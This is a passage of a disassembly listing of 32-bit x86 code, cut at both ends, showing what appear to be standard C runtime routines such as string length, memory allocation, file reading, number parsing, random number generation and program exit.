loc_41B957:				; CODE XREF: ___:0041B7C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B960	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B980


loc_41B96C:				; CODE XREF: sub_41B960+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B9B3
		test	ecx, 3
		jnz	short loc_41B96C
		add	eax, 0


loc_41B980:				; CODE XREF: sub_41B960+Aj
					; sub_41B960+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B980
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B9D1
		test	ah, ah
		jz	short loc_41B9C7
		test	eax, 0FF0000h
		jz	short loc_41B9BD
		test	eax, 0FF000000h
		jz	short loc_41B9B3
		jmp	short loc_41B980
; ---------------------------------------------------------------------------


loc_41B9B3:				; CODE XREF: sub_41B960+11j
					; sub_41B960+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9BD:				; CODE XREF: sub_41B960+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9C7:				; CODE XREF: sub_41B960+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B9D1:				; CODE XREF: sub_41B960+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9DB	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401AC7+5856p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B9F0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA2A
; ---------------------------------------------------------------------------


loc_41B9F0:				; CODE XREF: sub_41B9DB+Ej
		test	al, 83h
		jz	short loc_41BA28
		push	esi
		call	sub_41E32B
		push	esi
		mov	edi, eax
		call	sub_41E2C5
		push	dword ptr [esi+10h]
		call	sub_41E212
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA16
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA28
; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: sub_41B9DB+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA28
		push	eax
		call	sub_41BA31
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA28:				; CODE XREF: sub_41B9DB+17j
					; sub_41B9DB+39j ...
		mov	eax, edi


loc_41BA2A:				; CODE XREF: sub_41B9DB+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B9DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA31	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A91C+B1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41BA5E
		push	esi
		call	sub_41E477
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BA50
		push	eax
		call	sub_41E4A2
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA31+13j
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 27C0620h


loc_41BA5E:				; CODE XREF: sub_41BA31+7j
		pop	esi
		retn
sub_41BA31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA60	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BA84
		xor	eax, eax
		jmp	loc_41BB2D
; ---------------------------------------------------------------------------


loc_41BA84:				; CODE XREF: sub_41BA60+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BA97
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BAA3
; ---------------------------------------------------------------------------


loc_41BA97:				; CODE XREF: sub_41BA60+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BAA3
; ---------------------------------------------------------------------------


loc_41BAA0:				; CODE XREF: sub_41BA60+C4j
		mov	ecx, [ebp+arg_0]


loc_41BAA3:				; CODE XREF: sub_41BA60+35j
					; sub_41BA60+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BAD5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BAD5
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BABA
		mov	edi, eax


loc_41BABA:				; CODE XREF: sub_41BA60+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CAB0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BB20
; ---------------------------------------------------------------------------


loc_41BAD5:				; CODE XREF: sub_41BA60+49j
					; sub_41BA60+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BB08
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BAEB
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BAEB:				; CODE XREF: sub_41BA60+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F051
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BB32
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB38
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BB20
; ---------------------------------------------------------------------------


loc_41BB08:				; CODE XREF: sub_41BA60+78j
		push	esi
		call	sub_41EF78
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BB3C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BB20:				; CODE XREF: sub_41BA60+73j
					; sub_41BA60+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BAA0
		mov	eax, [ebp+arg_8]


loc_41BB2D:				; CODE XREF: sub_41BA60+1Fj
					; sub_41BA60+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BB32:				; CODE XREF: sub_41BA60+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BB3C
; ---------------------------------------------------------------------------


loc_41BB38:				; CODE XREF: sub_41BA60+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BB3C:				; CODE XREF: sub_41BA60+B2j
					; sub_41BA60+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BB2D
sub_41BA60	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB48	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D743+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_41BB63
		push	[esp+10h+arg_4]
		call	sub_41BC9B
		pop	ecx
		jmp	loc_41BC63
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB48+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_41BB79
		push	ebx
		call	sub_41BA31
		pop	ecx


loc_41BB72:				; CODE XREF: sub_41BB48+114j
		xor	eax, eax
		jmp	loc_41BC63
; ---------------------------------------------------------------------------


loc_41BB79:				; CODE XREF: sub_41BB48+21j
					; sub_41BB48+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BC44
		push	ebx
		call	sub_41E477
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_41BC21
		cmp	esi, dword_43A67C
		ja	short loc_41BBE1
		push	esi
		push	ebx
		push	ebp
		call	sub_41EC82
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBB0
		mov	edi, ebx
		jmp	short loc_41BBD9
; ---------------------------------------------------------------------------


loc_41BBB0:				; CODE XREF: sub_41BB48+62j
		push	esi
		call	sub_41E7CD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BBE1
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BBC7
		mov	eax, esi


loc_41BBC7:				; CODE XREF: sub_41BB48+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_41CAB0
		push	ebx
		push	ebp
		call	sub_41E4A2
		add	esp, 14h


loc_41BBD9:				; CODE XREF: sub_41BB48+66j
		test	edi, edi
		jnz	loc_41BC61


loc_41BBE1:				; CODE XREF: sub_41BB48+53j
					; sub_41BB48+73j
		test	esi, esi
		jnz	short loc_41BBE8
		push	1
		pop	esi


loc_41BBE8:				; CODE XREF: sub_41BB48+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DADA0
		call	near ptr 27D0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BC44
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC0D
		mov	eax, esi


loc_41BC0D:				; CODE XREF: sub_41BB48+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_41CAB0
		push	ebx
		push	ebp
		call	sub_41E4A2
		add	esp, 14h
		jmp	short loc_41BC40
; ---------------------------------------------------------------------------


loc_41BC21:				; CODE XREF: sub_41BB48+47j
		test	esi, esi
		jnz	short loc_41BC28
		push	1
		pop	esi


loc_41BC28:				; CODE XREF: sub_41BB48+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_4DADA0
		call	near ptr 2870000h
		nop
		mov	edi, eax


loc_41BC40:				; CODE XREF: sub_41BB48+D7j
		test	edi, edi
		jnz	short loc_41BC61


loc_41BC44:				; CODE XREF: sub_41BB48+36j
					; sub_41BB48+B9j
		cmp	dword_4D9798, 0
		jz	short loc_41BC61
		push	esi
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jnz	loc_41BB79
		jmp	loc_41BB72
; ---------------------------------------------------------------------------


loc_41BC61:				; CODE XREF: sub_41BB48+93j
					; sub_41BB48+FAj ...
		mov	eax, edi


loc_41BC63:				; CODE XREF: sub_41BB48+16j
					; sub_41BB48+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BB48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC68	proc near		; CODE XREF: sub_41BC88+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F3D2
		test	eax, eax
		jnz	short loc_41BC72
		retn
; ---------------------------------------------------------------------------


loc_41BC72:				; CODE XREF: sub_41BC68+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F262
		add	esp, 10h
		retn
sub_41BC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC88	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401AC7+582Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC68
		add	esp, 0Ch
		retn
sub_41BC88	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC9B	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A91C+63p ...

arg_0		= dword	ptr  4

		push	dword_4D9798
		push	[esp+4+arg_0]
		call	sub_41BCAD
		pop	ecx
		pop	ecx
		retn
sub_41BC9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCAD	proc near		; CODE XREF: sub_41BC9B+Ap
					; sub_41D735+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BCD6


loc_41BCB4:				; CODE XREF: sub_41BCAD+27j
		push	[esp+arg_0]
		call	sub_41BCD9
		test	eax, eax
		pop	ecx
		jnz	short locret_41BCD8
		cmp	[esp+arg_4], eax
		jz	short locret_41BCD8
		push	[esp+arg_0]
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jnz	short loc_41BCB4


loc_41BCD6:				; CODE XREF: sub_41BCAD+5j
		xor	eax, eax

locret_41BCD8:				; CODE XREF: sub_41BCAD+13j
					; sub_41BCAD+19j
		retn
sub_41BCAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCD9	proc near		; CODE XREF: sub_41BCAD+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_43A67C
		ja	short loc_41BCF1
		push	esi
		call	sub_41E7CD
		test	eax, eax
		pop	ecx
		jnz	short loc_41BD0D


loc_41BCF1:				; CODE XREF: sub_41BCD9+Bj
		test	esi, esi
		jnz	short loc_41BCF8
		push	1
		pop	esi


loc_41BCF8:				; CODE XREF: sub_41BCD9+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DADA0
		nop
		call	near ptr 27D0000h


loc_41BD0D:				; CODE XREF: sub_41BCD9+16j
		pop	esi
		retn
sub_41BCD9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD10	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BD63
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BD57
		neg	ecx
		and	ecx, 3
		jz	short loc_41BD39
		sub	edx, ecx


loc_41BD33:				; CODE XREF: sub_41BD10+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BD33


loc_41BD39:				; CODE XREF: sub_41BD10+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BD57
		rep stosd
		test	edx, edx
		jz	short loc_41BD5D


loc_41BD57:				; CODE XREF: sub_41BD10+18j
					; sub_41BD10+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BD57


loc_41BD5D:				; CODE XREF: sub_41BD10+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BD63:				; CODE XREF: sub_41BD10+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BD10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BD70	proc near		; CODE XREF: ___:004016BAp
					; ___:004016D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41BDF3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BD94
		shr	ecx, 2
		jnz	short loc_41BE01
		jmp	short loc_41BDB5
; ---------------------------------------------------------------------------


loc_41BD94:				; CODE XREF: sub_41BD70+1Bj
					; sub_41BD70+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41BDC2
		test	al, al
		jz	short loc_41BDCA
		test	esi, 3
		jnz	short loc_41BD94
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BE01


loc_41BDB0:				; CODE XREF: sub_41BD70+8Fj
		and	ebx, 3
		jz	short loc_41BDC2


loc_41BDB5:				; CODE XREF: sub_41BD70+22j
					; sub_41BD70+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41BDEE
		dec	ebx
		jnz	short loc_41BDB5


loc_41BDC2:				; CODE XREF: sub_41BD70+2Bj
					; sub_41BD70+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BDCA:				; CODE XREF: sub_41BD70+2Fj
		test	edi, 3
		jz	short loc_41BDE4


loc_41BDD2:				; CODE XREF: sub_41BD70+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41BE66
		test	edi, 3
		jnz	short loc_41BDD2


loc_41BDE4:				; CODE XREF: sub_41BD70+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41BE57


loc_41BDEB:				; CODE XREF: sub_41BD70+7Fj
					; sub_41BD70+F4j
		mov	[edi], al
		inc	edi


loc_41BDEE:				; CODE XREF: sub_41BD70+4Dj
		dec	ebx
		jnz	short loc_41BDEB
		pop	ebx
		pop	esi


loc_41BDF3:				; CODE XREF: sub_41BD70+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BDF9:				; CODE XREF: sub_41BD70+A9j
					; sub_41BD70+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41BDB0


loc_41BE01:				; CODE XREF: sub_41BD70+20j
					; sub_41BD70+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41BDF9
		test	dl, dl
		jz	short loc_41BE4B
		test	dh, dh
		jz	short loc_41BE41
		test	edx, 0FF0000h
		jz	short loc_41BE37
		test	edx, 0FF000000h
		jnz	short loc_41BDF9
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE37:				; CODE XREF: sub_41BD70+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE41:				; CODE XREF: sub_41BD70+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41BE4F
; ---------------------------------------------------------------------------


loc_41BE4B:				; CODE XREF: sub_41BD70+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41BE4F:				; CODE XREF: sub_41BD70+C5j
					; sub_41BD70+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41BE61


loc_41BE57:				; CODE XREF: sub_41BD70+79j
		xor	eax, eax


loc_41BE59:				; CODE XREF: sub_41BD70+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41BE59


loc_41BE61:				; CODE XREF: sub_41BD70+E5j
		and	ebx, 3
		jnz	short loc_41BDEB


loc_41BE66:				; CODE XREF: sub_41BD70+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BD70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE6E	proc near		; CODE XREF: sub_41BEF9+4p
					; sub_4246FC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41BE76:				; CODE XREF: sub_41BE6E+34j
		cmp	dword_43A88C, 1
		jle	short loc_41BE8E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41BE9D
; ---------------------------------------------------------------------------


loc_41BE8E:				; CODE XREF: sub_41BE6E+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BE9D:				; CODE XREF: sub_41BE6E+1Ej
		test	eax, eax
		jz	short loc_41BEA4
		inc	edi
		jmp	short loc_41BE76
; ---------------------------------------------------------------------------


loc_41BEA4:				; CODE XREF: sub_41BE6E+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41BEB4
		cmp	esi, 2Bh
		jnz	short loc_41BEB8


loc_41BEB4:				; CODE XREF: sub_41BE6E+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41BEB8:				; CODE XREF: sub_41BE6E+44j
		xor	ebx, ebx


loc_41BEBA:				; CODE XREF: sub_41BE6E+7Bj
		cmp	dword_43A88C, 1
		jle	short loc_41BECF
		push	4
		push	esi
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41BEDA
; ---------------------------------------------------------------------------


loc_41BECF:				; CODE XREF: sub_41BE6E+53j
		mov	eax, off_43A680
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BEDA:				; CODE XREF: sub_41BE6E+5Fj
		test	eax, eax
		jz	short loc_41BEEB
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41BEBA
; ---------------------------------------------------------------------------


loc_41BEEB:				; CODE XREF: sub_41BE6E+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41BEF4
		neg	eax


loc_41BEF4:				; CODE XREF: sub_41BE6E+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41BE6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF9	proc near		; CODE XREF: ___:00401524p
					; sub_401AC7+711p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BE6E
		pop	ecx
		retn
sub_41BEF9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A64C
		test	eax, eax
		jz	short loc_41BF0F
		call	eax ; sub_41CEB4


loc_41BF0F:				; CODE XREF: ___:0041BF0Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41BFEC
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41BFEC
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41BF53
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41BF42	proc near		; CODE XREF: sub_41E1C9+1Cp
					; sub_42249C+2246p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41BF53
		add	esp, 0Ch
		retn
sub_41BF42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF53	proc near		; CODE XREF: ___:0041BF39p
					; sub_41BF42+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4D975C, edi
		jnz	short loc_41BF70
		push	[esp+4+arg_0]
		nop
		call	near ptr 2740594h
		push	eax
		nop
		call	near ptr 2730D36h


loc_41BF70:				; CODE XREF: sub_41BF53+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4D9758, edi
		mov	byte_4D9754, bl
		jnz	short loc_41BFC4
		mov	eax, dword_4DADB4
		test	eax, eax
		jz	short loc_41BFB3
		mov	ecx, dword_4DADB0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41BFB2


loc_41BF9F:				; CODE XREF: sub_41BF53+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFA7
		call	eax


loc_41BFA7:				; CODE XREF: sub_41BF53+50j
		sub	esi, 4
		cmp	esi, dword_4DADB4
		jnb	short loc_41BF9F


loc_41BFB2:				; CODE XREF: sub_41BF53+4Aj
		pop	esi


loc_41BFB3:				; CODE XREF: sub_41BF53+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41BFEC
		pop	ecx
		pop	ecx


loc_41BFC4:				; CODE XREF: sub_41BF53+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41BFEC
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41BFEA
		push	[esp+4+arg_0]
		mov	dword_4D975C, edi
		call	near ptr 77E75CB5h
		nop


loc_41BFEA:				; CODE XREF: sub_41BF53+85j
		pop	edi
		retn
sub_41BF53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFEC	proc near		; CODE XREF: ___:0041BF19p
					; ___:0041BF28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41BFF1:				; CODE XREF: sub_41BFEC+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C004
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BFFF
		call	eax


loc_41BFFF:				; CODE XREF: sub_41BFEC+Fj
		add	esi, 4
		jmp	short loc_41BFF1
; ---------------------------------------------------------------------------


loc_41C004:				; CODE XREF: sub_41BFEC+9j
		pop	esi
		retn
sub_41BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C006	proc near		; CODE XREF: ___:004013ADp
					; ___:004014B3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F5D4
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C046
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C053
; ---------------------------------------------------------------------------


loc_41C046:				; CODE XREF: sub_41C006+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41C053:				; CODE XREF: sub_41C006+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C006	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C058	proc near		; CODE XREF: ___:00401266p
					; sub_401AC7+318Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A630, eax
		retn
sub_41C058	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C062	proc near		; CODE XREF: ___:loc_401376p
					; ___:loc_4016A1p ...
		mov	eax, dword_43A630
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A630, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C062	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C080	proc near		; CODE XREF: ___:0040134Bp
					; sub_401AC7+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C0FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C0E7


loc_41C098:				; CODE XREF: sub_41C080+52j
					; sub_41C080+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C0BA
		test	al, al
		jz	short loc_41C0B4


loc_41C0A9:				; CODE XREF: sub_41C080+32j
		mov	al, [esi]
		inc	esi


loc_41C0AC:				; CODE XREF: sub_41C080+3Fj
		cmp	al, dl
		jz	short loc_41C0BA
		test	al, al
		jnz	short loc_41C0A9


loc_41C0B4:				; CODE XREF: sub_41C080+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C0BA:				; CODE XREF: sub_41C080+23j
					; sub_41C080+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C0AC
		lea	edi, [esi-1]


loc_41C0C4:				; CODE XREF: sub_41C080+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C0F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C098
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C0F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C0C4
		jmp	short loc_41C098
; ---------------------------------------------------------------------------


loc_41C0E7:				; CODE XREF: sub_41C080+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C726
